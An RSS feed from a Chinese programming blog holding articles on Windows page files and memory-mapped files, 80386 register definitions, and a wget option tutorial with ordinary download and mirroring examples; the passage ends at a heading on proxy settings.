﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-luketowne-文章分类-DOS FOR NET SERVICE</title><link>http://www.cppblog.com/luketowne/category/10436.html</link><description /><language>zh-cn</language><lastBuildDate>Sat, 13 Jun 2009 16:26:18 GMT</lastBuildDate><pubDate>Sat, 13 Jun 2009 16:26:18 GMT</pubDate><ttl>60</ttl><item><title>虚拟内存和页文件 </title><link>http://www.cppblog.com/luketowne/articles/87094.html</link><dc:creator>露露</dc:creator><author>露露</author><pubDate>Mon, 08 Jun 2009 13:43:00 GMT</pubDate><guid>http://www.cppblog.com/luketowne/articles/87094.html</guid><description><![CDATA[<div class=postText>页文件的使用<br><br>　　这里所说的物理存储器并不局限于计算机内存，还包括在磁盘空间上创建的页文件，其存储空间大小为计算机内存和页文件存储容量之和。由于通常情况下磁盘存储空间要远大于内存的存储空间，因此页文件的使用对于应用程序而言相当于透明的增加了其所能使用的内存容量。在使用时，由操作系统和CPU负责对页文件进行维护和协调。只有在应用程序需要时才临时将页文件中的数据加载到内存供应用程序访问之用，在使用完毕后再从内存交换回页文件。<br><br>　　进程中的线程在访问位于已提交物理存储器的保留区域的内存地址时，如果此地址指向的数据当前已存在于内存，CPU将直接将进程的虚拟地址映射为物理地址，并完成对数据的访问；如果此数据是存在于页文件中的，就要试图将此数据从页文件加载到内存。在进行此处理时，首先要检查内存中是否有可供使用的空闲页面，如果有就可以直接将数据加载到内存中的空闲页面，否则就要从内存中寻找一个暂不使用的可释放的页面并将数据加载到此页面。如果被释放页面中的数据仍为有效数据（即以后还会用到），就要先将此页面从内存写入到页文件。在数据加载到内存后，仍要在CPU将虚拟地址映射为物理地址后方可实现对数据的访问。与对物理存储器中数据的访问有所不同，在运行可执行程序时并不进行程序代码和数据的从磁盘文件到页文件的复制过程，而是在确定了程序的代码及其数据的大小后，由系统直接将可执行程序的映像用作程序的保留地址空间区域。这样的处理方式大大缩短了程序的启动时间，并可减小页文件的尺寸。<br></div>
<img src ="http://www.cppblog.com/luketowne/aggbug/87094.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/luketowne/" target="_blank">露露</a> 2009-06-08 21:43 <a href="http://www.cppblog.com/luketowne/articles/87094.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>内存映射文件 学习笔记</title><link>http://www.cppblog.com/luketowne/articles/87095.html</link><dc:creator>露露</dc:creator><author>露露</author><pubDate>Mon, 08 Jun 2009 13:43:00 GMT</pubDate><guid>http://www.cppblog.com/luketowne/articles/87095.html</guid><description><![CDATA[内存映射文件：<br><br>　　内存映射文件有三种，第一种是可执行文件的映射，第二种是数据文件的映射，第三种是借助页面交换文件的内存映射.应用程序本身可以使用后两种内存映射.<br><br>1.可执行文件映射：<br>　　Windows在执行一个Win32应用程序时使用的是内存映射文件技术.系统先在进程地址空间的0x00400000以上保留一个足够大的虚拟地址空间(0x00400000以下是由系统管理的),然后把应用程序所在的磁盘空间作为虚拟内存提交到这个保留的地址空间中去(我的理解也就是说，虚拟内存是由物理内存和磁盘上的页面文件组成的，现在应用程序所在的磁盘空间就成了虚拟地址的页面文件).做好这些准备后，系统开始执行这个应用程序，由于这个应用程序的代码不在内存中(在页面文件中),所以在执行第一条指令的时候会产生一个页面错误(页面错误也就是说，系统所访问的数据不在内存中),系统分配一块内存把它映射到0x00400000处，把实际的代码或数据读入其中(系统分配一块内存区域，把它要访问的在页面文件中的数据读入到这块内存中,需在注意是系统读入代码或数据是一页一页读入的),然后可以继续执行了.当以后要访问的数据不在内存中时，就可以通过前面的机制访问数据.对于Win32DLL的映射也是同样，不过DLL文件应该是被Win32进程共享的(我想应该被映射到x80000000以后，因为0x80000000-0xBFFFFFFF是被共享的空间).<br><br>　　当系统在另一个进程中执行这个应用程序时，系统知道这个程序已经有了一个实例，程序的代码和数据已被读到内存中，所以系统只需把这块内存在映射到新进程的地址空间即可，这样不就实现了在多个进程间共享数据了吗！然而这种共享数据只是针对只读数据，如果进程改写了其中的代码和数据，操作系统就会把修改的数据所在的页面复制一份到改写的进程中(我的理解也就是说共享的数据没有改变，进程改写的数据只是共享数据的一份拷贝，其它进程在需要共享数据时还是共享没有改写的数据)，这样就可以避免多个进程之间的相互干扰.<br><br>2.数据文件的内存映射：<br>　　数据文件的内存映射原理与可执行文件内存映射原理一样.先把数据文件的一部分映射到虚拟地址空间的0x80000000&nbsp;-&nbsp;0xBFFFFFFF,但没有提交实际内存(也就是说作为页面文件),当有指令要存取这段内存时同样会产生页面错误异常.操作系统捕获到这个异常后，分配一页内存，映射内存到发生异常的位置，然后把要访问的数据读入到这块内存，继续执行刚才产生异常的指令(这里我理解的意思是把刚才产生异常的指令在执行一次，这次由于数据已经映射到内存中，指令就可以顺利执行过去),由上面的分析可知，应用程序访问虚拟地址空间时由操作系统管理数据在读入等内容，应用程序本身不需要调用文件的I/O函数(这点我觉得很重要，也就是为什么使用内存映射文件技术对内存的访问就象是对磁盘上的文件访问一样).<br><br>3.基于页面交换文件的内存映射：<br>　　内存映射的第三种情况是基于页面交换文件的.一个Win32进程利用内存映射文件可以在进程共享的地址空间保留一块区域(0x8000000&nbsp;-&nbsp;0xBFFFFFFF),这块区域与系统的页面交换文件相联系.我们可以用这块区域来存储临时数据，但更常见的做法是利用这块区域与其他进程通信(因为0x80000000以上是系统空间，进程切换只是私有地址空间，系统空间是所有进程共同使用的),这样多进程间就可以实现通信了.事实上Win32多进程间通信都是使用的内存映射文件技术，如PostMessage()，SentMessage()函数，在内部都使用内存映射文件技术.<br><br>使用内存映射文件的方法：<br>1.利用内存映射文件进行文件I/O操作：<br>　　CreateFile()--&gt;CreateFileMapping()--&gt;MapViewOfFile()......<br><br>2.利用内存映射文件实现Win32进程间通信：<br>我只介绍两种常用的方法：<br>　　第一种方法：两个进程使用同一个文件映射核心对象，打开各自的视图，或者父进程把自己创建的文件映射核心对象继承给子进程使用.这种方法比较安全有效.<br>　　第二种方法：基于页面交换文件的内存映射对象.在调用CreateFileMapping()函数时，传递的文件句柄为0xFFFFFFFF,系统就从页面交换文件中提交物理内存，然后进程之间按照第一种方法进程通信.这种方法不用事先准备一个特殊的文件(也就是说不用事先调用CreateFile()返回一个文件的句柄),非常方便.<br>
<img src ="http://www.cppblog.com/luketowne/aggbug/87095.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/luketowne/" target="_blank">露露</a> 2009-06-08 21:43 <a href="http://www.cppblog.com/luketowne/articles/87095.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>80386的寄存器组成</title><link>http://www.cppblog.com/luketowne/articles/87043.html</link><dc:creator>露露</dc:creator><author>露露</author><pubDate>Mon, 08 Jun 2009 02:39:00 GMT</pubDate><guid>http://www.cppblog.com/luketowne/articles/87043.html</guid><description><![CDATA[<p class="g_p_center g_t_wrap g_t_left g_t_20 g_c_pdin c07 brd01" id=blogtitle_fks_085068093087088064092085082095085086086075084086080068 style="MARGIN: 15px auto; WIDTH: 760px; BORDER-BOTTOM: 1px dotted"><span style="FONT-FAMILY: '微软雅黑','黑体',Arial,Helvetica,Sans-Serif">80386的寄存器组成</span><span class="g_t_10 c08"><font color=#777777 size=1>　2009-01-31 10:04</font></span></p>
<div class="g_p_center g_t_right g_c_pdin g_h_20 c08" style="MARGIN-BOTTOM: 20px; WIDTH: 760px">
<div class=g_p_left><a class="g_c_ul c05" id=aBelongClsfks_085068093087088064092085082095085086086075084086080068 style="FONT-SIZE: 12px" onclick="NEBlog.gPermaLinkPage.updownMenu.openSameClass('fks_087064082086087067092086081095085086086075084086080068', '保护模式');" href="http://hengch.blog.163.com/blog/static/107800672009029104144323/#">分类：保护模式</a> </div>
<div>字号： <a class="g_c_ul c05" id=bigfont style="FONT-SIZE: 12px" onclick="NEBlog.gPermaLinkPage.updownMenu.changeFont('blogtext_fks_085068093087088064092085082095085086086075084086080068', 1);return false;" href="http://hengch.blog.163.com/blog/static/107800672009029104144323/#">大</a><span class="g_t_bold c07" id=bigfont_off style="DISPLAY: none"><strong><font color=#99a4b0>大</font></strong></span>&nbsp; <a class="g_c_ul c05" id=middlefont style="FONT-SIZE: 12px" onclick="NEBlog.gPermaLinkPage.updownMenu.changeFont('blogtext_fks_085068093087088064092085082095085086086075084086080068', 2);return false;" href="http://hengch.blog.163.com/blog/static/107800672009029104144323/#">中</a><span class="g_t_bold c07" id=middlefont_off style="DISPLAY: none"><strong><font color=#99a4b0>中</font></strong></span>&nbsp; <a class="g_c_ul c05" id=smallfont style="DISPLAY: none; FONT-SIZE: 12px" onclick="NEBlog.gPermaLinkPage.updownMenu.changeFont('blogtext_fks_085068093087088064092085082095085086086075084086080068', 3);return false;" href="http://hengch.blog.163.com/blog/static/107800672009029104144323/#">小</a><span class="g_t_bold c07" id=smallfont_off style="DISPLAY: inline"><strong><font color=#99a4b0>小</font></strong></span> </div>
</div>
<div class=g_blog_list>
<div class="g_t_center g_c_pdin g_p_center c07 content" id=blogtext_fks_085068093087088064092085082095085086086075084086080068 style="WIDTH: 760px">
<p style="FONT-FAMILY: 宋体">&nbsp;&nbsp;&nbsp; 写这篇文章，完全是因为学习保护模式需要这些知识，读者完全可以走马观花，大致看看有什么内容，知道需要的时候来查这篇文章就可以了，完全没有必要抵抗着困意非要把这篇文章认真看完，记住里面每一个寄存器里每一位的定义，但是以后的文章如果需要，一定要记得回来查查相关的内容。</p>
<p style="FONT-FAMILY: 宋体"><br></p>
<p style="FONT-FAMILY: 宋体">&nbsp;&nbsp;&nbsp; 80386共提供7种类型的32位寄存器，如下：</p>
<ol style="FONT-FAMILY: 宋体">
    <li>通用寄存器(EAX、EBX、ECX、EDX、ESP、EBP、ESI、EDI)
    <li>段寄存器(CS、SS、DS、ES、FS、GS)
    <li>指令指针寄存器和标志寄存器(EIP、EFLAGS)
    <li>系统表寄存器(GDTR、IDTR、LDTR、TR)
    <li>控制寄存器(CR0、CR1、CR2、CR3、CR4)
    <li>调试寄存器(DR0、DR1、DR2、DR3、DR4、DR5、DR6、DR7)
    <li>测试寄存器(TR6、TR7)</li>
</ol>
<p style="FONT-FAMILY: 宋体">&nbsp;&nbsp;&nbsp; 其中后三类寄存器是80386以后的CPU才有的，以前的CPU完全没有。</p>
<p style="FONT-FAMILY: 宋体">&nbsp;&nbsp;&nbsp; 下图是前四类寄存器的大致示意图：</p>
<p style="FONT-FAMILY: 宋体"><a href="http://img.blog.163.com/photo/JAgmY9FtOoi7feMcSxKeZg==/4574812796479461239.jpg" target=_blank><img title="80386的寄存器组成 - whowin - DOS编程技术" style="DISPLAY: block; TEXT-ALIGN: center" alt="80386的寄存器组成 - whowin - DOS编程技术" src="http://img.blog.163.com/photo/JAgmY9FtOoi7feMcSxKeZg==/4574812796479461239.jpg"></a></p>
<p style="FONT-FAMILY: 宋体">&nbsp;&nbsp;&nbsp; 本文只对这些寄存器做一个大致的介绍，其中有些特殊且有较大意义的寄存器，会另文介绍。</p>
<p style="COLOR: rgb(255,204,0); FONT-FAMILY: 宋体">一、通用寄存器</p>
<p style="FONT-FAMILY: 宋体">&nbsp;&nbsp;&nbsp; 一组八个通用寄存器是对8086/80286通用寄存器的32位扩展，其用法与在8086/80286中相似，支持8位、16位、32位操作，进行32位操作是，寄存器名称前面冠以&#8220;E&#8221;。</p>
<p style="FONT-FAMILY: 宋体">&nbsp;&nbsp;&nbsp; 这八个寄存器的名称如下：EAX（累加器）、EBX（基址）、ECX（计数）、EDX（数据）、ESP（栈指针）、EBP（基址指针）、ESI（源变址）、EDI（目的变址）。</p>
<p style="COLOR: rgb(255,255,0); FONT-FAMILY: 宋体">二、段寄存器</p>
<p style="FONT-FAMILY: 宋体">&nbsp;&nbsp;&nbsp; 80386比8086/80286增加了两个段寄存器FS、GS。</p>
<p style="FONT-FAMILY: 宋体">&nbsp;&nbsp;&nbsp; 除CS支持代码段，SS支持堆栈段外，程序员可以利用其它的所有段寄存器支持数据段。</p>
<p style="FONT-FAMILY: 宋体">&nbsp;&nbsp;&nbsp; 每个段寄存器对应这一个64位高速缓存器（有些资料中说有96位，但值使用其中的64位），这在8086中是没有的（在80286中为48位），它的具体作用将另文介绍。</p>
<p style="COLOR: rgb(255,255,0); FONT-FAMILY: 宋体">三、指令指针寄存器和标志寄存器</p>
<p style="FONT-FAMILY: 宋体">&nbsp;&nbsp;&nbsp; 指令寄存器EIP是对8086/80286指令指针寄存器的32位扩展，它包含着待执行指令的32位偏移量，该值总是相对CS所代表的段基址而言的。</p>
<p style="FONT-FAMILY: 宋体">&nbsp;&nbsp;&nbsp; 标志寄存器也是对8086/80286标志寄存器的32位扩展，其定义如下（这张图截自Intel关于IA32架构的最新文档）：</p>
<p style="FONT-FAMILY: 宋体"><a href="http://img.blog.163.com/photo/0HOzoKzKVy0PmQQzMcLpzQ==/4578753446153412643.jpg" target=_blank><img title="80386的寄存器组成 - whowin - DOS编程技术" style="DISPLAY: block; TEXT-ALIGN: center" alt="80386的寄存器组成 - whowin - DOS编程技术" src="http://img.blog.163.com/photo/0HOzoKzKVy0PmQQzMcLpzQ==/4578753446153412643.jpg"></a></p>
<p style="FONT-FAMILY: 宋体">&nbsp;&nbsp;&nbsp; 其中OF、DF、IF、TF、SF、ZF、AF、PF和CF在8086中就已经存在，请参考相关资料。</p>
<p style="FONT-FAMILY: 宋体">&nbsp;&nbsp;&nbsp; IOPL（I/O Privilege Level）是从80286开始出现的，占2个bit表示I/O特权级，如果当前特权级小于或等于IOPL，则可以执行I/O操作，否则将出现一个保护性异常。IOPL只能由特权级为0的程序或任务来修改。</p>
<p style="FONT-FAMILY: 宋体">&nbsp;&nbsp;&nbsp; NT（Nested Task）也是从80286开始出现的，表示嵌套任务，用于控制中断返回指令IRET，当NT=0时，用堆栈中保存的值恢复EFLAGS、CS和EIP，从而实现返回；若NT=1，则通过任务切换实现中断返回。</p>
<p style="FONT-FAMILY: 宋体">&nbsp;&nbsp;&nbsp; 下面的标志位是80386以后的CPU才有的标志。</p>
<p style="FONT-FAMILY: 宋体">&nbsp;&nbsp;&nbsp; VM（Virtual-8086 mode）表示虚拟8086模式，如果VM被置位且80386已出于保护模式下，则CPU切换到虚拟8086模式，此时，对段的任何操作又回到了实模式，如同在8086下运行一样。</p>
<p style="FONT-FAMILY: 宋体">&nbsp;&nbsp;&nbsp; RF（Resume flag）表示恢复标志(也叫重启标志)，与调试寄存器一起用于断点和单步操作，当RF＝1 时，下一条指令的任何调试故障将被忽略，不产生异常中断。当RF=0时，调试故障被接受，并产生异常中断。用于调试失败后，强迫程序恢复执行，在成功执行每条指令后，RF自动复位。</p>
<p style="FONT-FAMILY: 宋体">&nbsp;&nbsp;&nbsp; AC（Alignment check）表示对齐检查。这个标志是80486以后的CPU才有的。当AC=1且CR0中的AM=1时，允许存储器进行地址对齐检查，若发现地址未对齐，将产生异常中断。所谓地址对齐，是指当访问一个字（2字节长）时，其地址必须是偶数（2的倍数），当访问双字（4字节长）时，其地址必须是4的倍数。</p>
<p style="FONT-FAMILY: 宋体">&nbsp;&nbsp;&nbsp; 但是只有运行在特权级3的程序才执行地址对齐检查，特权级0、1、2忽略该标志。<br></p>
<p style="FONT-FAMILY: 宋体">&nbsp;&nbsp;&nbsp; VIF（Virtual interrupt flag）表示虚拟中断标志。以下的三个标志是Pentium以后的CPU才有的。当VIF=1时，可以使用虚拟中断，当VIF=0时不能使用虚拟中断。该标志要和下面的VIP和CR4中的VME配合使用。</p>
<p style="FONT-FAMILY: 宋体">&nbsp;&nbsp;&nbsp; VIP（Virtual interrupt pending flag）表示虚拟中断挂起标志。当VIP=1时，VIF有效，VIP=0时VIF无效。</p>
<p style="FONT-FAMILY: 宋体">&nbsp;&nbsp;&nbsp; ID（Identification flag）表示鉴别标志。该标志用来只是Pentium CPU是否支持CPUID的指令。</p>
<p style="FONT-FAMILY: 宋体">&nbsp;&nbsp;&nbsp; 实际上，如果不编写操作系统，大部分标志可能很难得用到一次，有个印象就好了，用到了再去查不迟。<br></p>
<p style="COLOR: rgb(255,255,0); FONT-FAMILY: 宋体">四、系统表寄存器</p>
<p style="FONT-FAMILY: 宋体">&nbsp;&nbsp;&nbsp; 80386 中有4个系统表寄存器，分别是全局描述符表寄存器(GDTR)、中断描述符表寄存器(IDTR)、局部描述符表寄存器(LDTR)、任务状态寄存器(TR)。系统表寄存器用于在保护方式下，管理4 个系统表，由于只能在保护方式下使用，因此又称为保护方式寄存器。有关描述附表的问题，另文介绍。</p>
<p style="COLOR: rgb(255,255,0); FONT-FAMILY: 宋体">五、控制寄存器</p>
<p style="FONT-FAMILY: 宋体">&nbsp;&nbsp;&nbsp; 80386的控制寄存器有4个，其中CR1保留以后使用，从Pentium开始，又增加了一个CR4，CR0的低16位包含了与80286的MSW一致的位定义，保持了和80286的兼容，同时也兼容了从80286开始的两条指令LMSW/SMSW，其基本定义如下：</p>
<p style="FONT-FAMILY: 宋体"><a href="http://img.blog.163.com/photo/gnqgO8OuG9eoFf9IjbZLQA==/4515421576393545196.jpg" target=_blank><img title="80386的寄存器组成 - whowin - DOS编程技术" style="DISPLAY: block; TEXT-ALIGN: center" alt="80386的寄存器组成 - whowin - DOS编程技术" src="http://img.blog.163.com/photo/gnqgO8OuG9eoFf9IjbZLQA==/4515421576393545196.jpg"></a></p>
<p style="FONT-FAMILY: 宋体">&nbsp;&nbsp;&nbsp; <span style="FONT-WEIGHT: bold">CR0中各位含义如下</span>：<br></p>
<ul style="FONT-FAMILY: 宋体">
    <li>PE（Protection Enable）保护模式允许，PE=0表示CPU工作在实模式，PE=1表示CPU工作在保护模式
    <li>MP（Monitor Coprocessor）监控协处理器，MP=1表示协处理器在工作，MP=0表示协处理器未工作。
    <li>EM（Emulation）协处理器仿真，当MP=0，EM=1时，表示正在使用软件仿真协处理器工作。
    <li>TS（Task Switched）任务转换，每当进行任务转换时，TS=1，任务转换完毕，TS=0。TS=1时不允许协处理器工作。</li>
</ul>
<span style="FONT-FAMILY: 宋体">&nbsp;&nbsp;&nbsp; 以上4个定义从80286开始，下面的2个定义从80386开始存在</span><br style="FONT-FAMILY: 宋体">
<ul style="FONT-FAMILY: 宋体">
    <li>ET（Extension Type）处理器扩展类型，反映了所扩展的协处理器的类型，ET=0为80287，ET=1为80387。
    <li>PG（Paging）页式管理机制使能，PG=1时页式管理机制工作，否则不工作。</li>
</ul>
<p style="FONT-FAMILY: 宋体">&nbsp;&nbsp;&nbsp; 从80486开始又增加了如下位定义。<br></p>
<ul style="FONT-FAMILY: 宋体">
    <li>NE（Numeric Error）数值异常中断控制，NE=1时，如果运行协处理器指令发生故障，则用异常中断处理，NE=0时，则用外部中断处理。
    <li>WP（Write Protect）写保护，当WP=1时，对只读页面进行写操作会产生页故障。
    <li>AM（Alignment Mask）对齐标志，AM=1时，允许对齐检查，AM=0时不允许，关于对齐，在EFLAGS的AC标志时介绍过，在80486以后的CPU中，CPU进行对齐检查需要满足三个条件，AC=1、AM=1并且当前特权级为3。
    <li>NW（Not Write-through）和CD（Cache Disable），这两个标志都是用来控制CPU内部的CACHE的，当NW=0且CD=0时，CACHE使能，其它的组合说起来比较复杂，如果有读者真的想搞清楚的话，可以参阅《Intel? 64 and IA-32 Architectures》中的&#8220;Software Developer&#8217;s Manual Volume 3A&#8221;这一册，在第10章对这两个标志的各种组合有比较详细的说明。</li>
</ul>
<span style="FONT-FAMILY: 宋体">&nbsp;&nbsp;&nbsp; CR1保留未用；CR2存放引起页故障的线性地址，只有在PG=1时，CR2才有效，当页故障处理程序被激活时，压入页故障处理程序堆栈中的错误码提供页故障的状态信息。</span><br style="FONT-FAMILY: 宋体"><span style="FONT-FAMILY: 宋体">&nbsp; &nbsp; CR3的bit12--bit31存放页目录的基地址，因为也目录总是页对齐的（一页为4K），所以页目录基地址从bit12开始就可以了。只有当CR0中的PG=1时，CR3的页目录基地址才有效。<br>&nbsp; &nbsp; <span style="FONT-WEIGHT: bold">从80486开始，在CR3的低12位定义了两个控制位，如下</span>：<br></span>
<ul style="FONT-FAMILY: 宋体">
    <li>PCD（Page-level Cache Disable）页CACHE禁止，当PCD=0时，页目录表进行高速缓存，PCD=1时，不进行高速缓存；该位控制PCD引脚控制外部CACHE工作还是不工作。
    <li>PWT（Page-level Writes Transparent），CACHE的写入分为透写（Write-Through）和回写（Write-Back）,80486以上的CPU内部的CACHE都是透写的，但对外部CACHE而言，允许某些页是回写的，而另一些页是透写的，当PWT=1时，外部CACHE对页目录进行透写，否则进行回写；此位驱动PWT引脚以控制外部CACHE是透写还是回写。</li>
</ul>
<span style="FONT-FAMILY: 宋体">&nbsp; &nbsp; <span style="FONT-WEIGHT: bold">CR4是从Pentium CPU开始出现的</span>。<br></span>
<ul>
    <li style="FONT-FAMILY: 宋体">VME（Virtual-8086 Mode Extensions）虚拟8086方式扩展，VME=1允许使用虚拟8086扩展模式，否则只能使用80386/80486的虚拟8086模式。
    <li><span style="FONT-FAMILY: 宋体">PVI（Protected-Mode Virtual Interrupts）保护模式虚拟中断，PVI=1时，在保护模式下支持虚拟中断标志VIF(EFLAGS中)，PVI=0则不支持虚拟中断标志。</span>
    <li><span style="FONT-FAMILY: 宋体">TSD（Time Stamp Disable）时间戳禁止，TSD=1时，允许在特权级为0的程序中执行RDTSC指令（读时间戳计数指令），TSD=0时，允许任何特权级执行RDTSC指令。</span>
    <li><span style="FONT-FAMILY: 宋体">DE（Debugging Extensions）调试扩展，</span>
    <li><span style="FONT-FAMILY: 宋体">PSE（Page Size Extensions）页大小扩展，PSE=1时，页大小可以扩展到2M或4M，PSE=0时，页大小只能是4K.</span>
    <li><span style="FONT-FAMILY: 宋体">PAE（Physical Address Extension）物理地址扩展，PAE=1时，页物理地址可以扩展到36bits以上，PAE=0时只能用32bits的物理地址。</span>
    <li><span style="FONT-FAMILY: 宋体">MCE（Machine-Check Enable）硬件检查使能，Pentium以后的CPU有一种硬件检测功能，MCE=1时允许使用该功能。</span>
    <li><span style="FONT-FAMILY: 宋体">PGE（Page Global Enable）全局页使能，PGE=1时，允许使用全局页，PGE=0时禁止使用全局页。</span>
    <li><span style="FONT-FAMILY: 宋体">PCE（Performance-Monitoring Counter Enable）性能监视计数器使能，当PCE=1时，允许在任何保护级下执行RDPMC指令，PCE=0时，只有特权级0的程序可以执行RDPMC指令。<br></span>
    <li><span style="FONT-FAMILY: 宋体">OSFXSR（Operating System Support for FXSAVE and FXRSTOR instructions）</span>
    <li><span style="FONT-FAMILY: 宋体">OSXMMEXCPT（Operating System Support for Unmasked SIMD Floating-Point Exceptions）</span>
    <li><span style="FONT-FAMILY: 宋体">VMXE（VMX-Enable Bit）VMX使能位，VMXE=1时，允许VMX操作。</span>
    <li><span style="FONT-FAMILY: 宋体">SMXE（SMX-Enable Bit）SMX使能位，SMXE=1时，允许SMX操作。</span>
    <li><span style="FONT-FAMILY: 宋体">OSXSAVE（XSAVE and Processor Extended States-Enable Bit） &nbsp; </span></li>
</ul>
<br>
<p style="COLOR: rgb(255,255,0); FONT-FAMILY: 宋体">六、调试寄存器</p>
<p style="FONT-FAMILY: 宋体">&nbsp;&nbsp;&nbsp; 一共有8个调试寄存器DR0--DR7，DR0-DR3可以分别设置4个断点的线性地址，DR4-DR5保留未用，DR6是断点状态寄存器，DR7是断点控制寄存器（包括断点类型、断点长度，断点开放/禁止）<br></p>
<p style="COLOR: rgb(255,255,0); FONT-FAMILY: 宋体">七、测试寄存器</p>
<p style="FONT-FAMILY: 宋体">&nbsp; &nbsp; 一共有8个测试寄存器TR0--TR7，TR0-TR2保留，TR3-TR5用作CACHE测试，TR6为命令测试寄存器，TR7为测试数据寄存器。</p>
<p style="FONT-FAMILY: 宋体"><br></p>
</div>
</div>
<img src ="http://www.cppblog.com/luketowne/aggbug/87043.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/luketowne/" target="_blank">露露</a> 2009-06-08 10:39 <a href="http://www.cppblog.com/luketowne/articles/87043.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>wget 使用技巧大全</title><link>http://www.cppblog.com/luketowne/articles/82659.html</link><dc:creator>露露</dc:creator><author>露露</author><pubDate>Tue, 12 May 2009 01:53:00 GMT</pubDate><guid>http://www.cppblog.com/luketowne/articles/82659.html</guid><description><![CDATA[<p><a title=wget href="http://www.gnu.org/software/wget/" target=_blank>wget</a> 是一个命令行工具，用于批量下载文件，支持HTTP，HTTPS和FTP协议，对于我们这些使用Linux的人来说基本上每天都要用它，而且几乎所有的 Linux发行版 都自带 wget ，那么有多少人像我一样都不会使用呢？除了 <a title="wget 使用技巧" href="http://linuxtoy.org/archives/wget-tips.html" target=_blank>linuxtoy.org 上面介绍的小技巧</a>之外，我在网上找了一些 wget 的使用技巧，一起学习学习吧！</p>
<p><span id=more-1173></span></p>
<p>wget是一个从网络上自动下载文件的自由工具。wget可以在用户退出系统的之后在后台执行。这意味这你可以登录系统，启动一个wget下载任务，然后退出系统，wget将在后台执行直到任务完成，相对于其它大部分浏览器在下载大量数据时需要用户一直的参与，这省去了极大的麻烦。</p>
<p>wget可以跟踪HTML页面上的链接依次下载来创建远程服务器的本地版本，完全重建原始站点的目录结构。这又常被称作&#8221;递归下载&#8221;。在递归下载的时候，wget遵循Robot Exclusion标准(/robots.txt). wget可以在下载的同时，将链接转换成指向本地文件，以方便离线浏览。</p>
<p>wget非常稳定,它在带宽很窄的情况下和不稳定网络中有很强的适应性.如果是由于网络的原因下载失败，wget会不断的尝试，直到整个文件下载完 毕。如果是服务器打断下载过程，它会再次联到服务器上从停止的地方继续下载。这对从那些限定了链接时间的服务器上下载大文件非常有用。</p>
<p>wget 的有点很多，支持1）支持断点下传功能（2）同时支持FTP和HTTP下载方式（3）支持代理服务器（4）设置方便简单；5）程序小，完全免费；</p>
<p>命令格式：</p>
<p>wget [参数列表] [目标软件、网页的网址]</p>
<p>1、启动类参数</p>
<p>这一类参数主要提供软件的一些基本信息；</p>
<p>-V,&#8211;version 显示软件版本号然后退出；</p>
<p>-h,&#8211;help显示软件帮助信息；</p>
<p>-e,&#8211;execute=COMMAND 执行一个 &#8220;.wgetrc&#8221;命令</p>
<p>以上每一个功能有长短两个参数，长短功能一样，都可以使用。需要注意的是，这里的-e参数是执行一个.wgettrc的命令，.wgettrc命令其实是一个参数列表，直接将软件需要的参数写在一起就可以了。</p>
<p>2、文件处理参数</p>
<p>这类参数定义软件log文件的输出方式等；</p>
<p>-o,&#8211;output-file=FILE 将软件输出信息保存到文件；<br>-a,&#8211;append-output=FILE将软件输出信息追加到文件；<br>-d,&#8211;debug显示输出信息；<br>-q,&#8211;quiet 不显示输出信息；<br>-i,&#8211;input-file=FILE 从文件中取得URL；</p>
<p>以上参数对于攻击者比较有用，我们来看看具体使用；</p>
<p>例1：下载192.168.1.168首页并且显示下载信息<br>wget -d http://192.168.1.168</p>
<p>例2：下载192.168.1.168首页并且不显示任何信息<br>wget -q http://192.168.1.168</p>
<p>例3：下载filelist.txt中所包含的链接的所有文件</p>
<p>wget -i filelist.txt<br>wget -np -m -l5 http://www.123.com //不下载本站所链接的其它站点内容，5级目录结构</p>
<p>3、下载参数</p>
<p>下载参数定义下载重复次数、保存文件名等；</p>
<p>-t,&#8211;tries=NUMBER 是否下载次数（0表示无穷次）<br>-O &#8211;output-document=FILE下载文件保存为别的文件名<br>-nc, &#8211;no-clobber 不要覆盖已经存在的文件<br>-N,&#8211;timestamping只下载比本地新的文件<br>-T,&#8211;timeout=SECONDS 设置超时时间<br>-Y,&#8211;proxy=on/off 关闭代理</p>
<p>例：下载192.168.1.168的首页并将下载过程中的的输入信息保存到test.htm文件中<br>wget -o test.htm http://192.168.1.168</p>
<p>4、目录参数</p>
<p>目录参数主要设置下载文件保存目录与原来文件（服务器文件）的目录对应关系；</p>
<p>-nd &#8211;no-directories 不建立目录<br>-x,&#8211;force-directories 强制建立目录<br>可能现在我们对这里的目录还不是很了解，我们来看一个举例</p>
<p>例：下载192.168.1.168的首页，并且保持网站结构<br>wget -x http://192.168.1.168<br>5、HTTP参数</p>
<p>HTTP参数设置一些与HTTP下载有关的属性；</p>
<p>&#8211;http-user=USER设置HTTP用户<br>&#8211;http-passwd=PASS设置HTTP密码<br>&#8211;proxy-user=USER设置代理用户<br>&#8211;proxy-passwd=PASS设置代理密码</p>
<p>以上参数主要设置HTTP和代理的用户、密码；</p>
<p>6、递归参数设置</p>
<p>在下载一个网站或者网站的一个目录的时候，我们需要知道的下载的层次，这些参数就可以设置；<br>-r,&#8211;recursive 下载整个网站、目录（小心使用）<br>-l,&#8211;level=NUMBER 下载层次</p>
<p>例：下载整个网站<br>wget -r http://192.168.1.168</p>
<p>7、递归允许与拒绝选项参数</p>
<p>下载一个网站的时候，为了尽量快，有些文件可以选择下载，比如图片和声音，在这里可以设置；</p>
<p>-A,&#8211;accept=LIST 可以接受的文件类型<br>-R,&#8211;reject=LIST拒绝接受的文件类型<br>-D,&#8211;domains=LIST可以接受的域名<br>&#8211;exclude-domains=LIST拒绝的域名<br>-L,&#8211;relative 下载关联链接<br>&#8211;follow-ftp 只下载FTP链接<br>-H,&#8211;span-hosts 可以下载外面的主机<br>-I,&#8211;include-directories=LIST允许的目录<br>-X,&#8211;exclude-directories=LIST 拒绝的目录</p>
<p>如何设定wget所使用的代理服务器</p>
